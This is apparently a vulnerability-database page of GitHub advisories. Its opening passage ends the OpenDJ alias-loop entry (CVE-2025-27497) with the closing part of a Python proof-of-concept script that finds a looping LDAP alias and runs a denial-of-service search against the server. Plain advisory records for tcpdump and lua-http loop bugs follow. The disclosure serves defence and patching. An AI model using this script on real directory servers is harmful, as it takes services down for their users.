argparse.ArgumentParser(description=\"Search LDAP for circular alias references.\")\n parser.add_argument(\"ip\", type=str, nargs=\"?\", default=None, help=\"The IP address of the LDAP server.\")\n parser.add_argument(\"port\", type=int, nargs=\"?\", default=None, help=\"The port of the LDAP server.\")\n parser.add_argument(\"base\", type=str, nargs=\"?\", default=None, help=\"The base DN of the LDAP server.\")\n args = parser.parse_args()\n\n if not args.ip:\n args.ip = input(\"Please enter the IP address of the LDAP server: \")\n\n if not args.port:\n while True:\n try:\n port_input = input(\"Please enter the port of the LDAP server: \")\n args.port = int(port_input)\n break\n except ValueError:\n print(\"Invalid input. Please enter a valid integer for the port.\")\n\n if not args.base:\n args.base = input(\"Please enter the base DN of the LDAP server: \")\n\n connection = connect_to_ldap(args.ip, args.port)\n if connection:\n aliases = find_aliases(connection, args.base)\n looping_alias_dn = detect_alias_loop(aliases)\n if looping_alias_dn:\n execute_dos_search(connection, looping_alias_dn)\n print(f\"DOS executed with alias: {looping_alias_dn}\")\n else:\n print(\"No looping alias DN found!\")\n connection.unbind()\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-93qr-h8pr-4593",
"modified": "2025-03-05T18:33:30Z",
"published": "2025-03-05T18:33:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenIdentityPlatform/OpenDJ/security/advisories/GHSA-93qr-h8pr-4593"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27497"
},
{
"type": "WEB",
"url": "https://github.com/OpenIdentityPlatform/OpenDJ/commit/08aee4724608e4a32baa3c7d7499ec913a275aaf"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenIdentityPlatform/OpenDJ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenDJ Denial of Service (DoS) using alias loop"
}
GHSA-93V5-72QM-H77Q
Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2022-05-13 01:42
VLAI
Details
The RESP parser in tcpdump before 4.9.2 could enter an infinite loop due to a bug in print-resp.c:resp_get_length().
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2017-12989"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-14T06:29:00Z",
"severity": "HIGH"
},
"details": "The RESP parser in tcpdump before 4.9.2 could enter an infinite loop due to a bug in print-resp.c:resp_get_length().",
"id": "GHSA-93v5-72qm-h77q",
"modified": "2022-05-13T01:42:51Z",
"published": "2022-05-13T01:42:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12989"
},
{
"type": "WEB",
"url": "https://github.com/the-tcpdump-group/tcpdump/commit/db24063b01cba8e9d4d88b7d8ac70c9000c104e4"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHEA-2018:0705"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201709-23"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT208221"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2017/dsa-3971"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1039307"
},
{
"type": "WEB",
"url": "http://www.tcpdump.org/tcpdump-changes.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-947G-GMVH-R5RP
Vulnerability from github – Published: 2023-09-05 09:30 – Updated: 2025-03-14 18:30
VLAI
Details
Improper Handling of Exceptional Conditions vulnerability in Daurnimator HTTP Library for Lua allows Excessive Allocation.This issue affects HTTP Library for Lua: before commit ddab283.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2023-4540"
],
"database_specific": {
"cwe_ids": [
"CWE-755",
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-05T08:15:40Z",
"severity": "HIGH"
},
"details": "Improper Handling of Exceptional Conditions vulnerability in Daurnimator HTTP Library for Lua allows Excessive Allocation.This issue affects HTTP Library for Lua: before commit ddab283.",
"id": "GHSA-947g-gmvh-r5rp",
"modified": "2025-03-14T18:30:38Z",
"published": "2023-09-05T09:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4540"
},
{
"type": "WEB",
"url": "https://github.com/daurnimator/lua-http/commit/ddab2835c583d45dec62680ca8d3cbde55e0bae6"
},
{
"type": "WEB",
"url": "https://cert.pl/en/posts/2023/09/CVE-2023-4540"
},
{
"type": "WEB",
"url": "https://cert.pl/posts/2023/09/CVE-2023-4540"
},
{
"type": "WEB",
"url": "https://https://cert.pl/en/posts/2023/09/CVE-2023-4540"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.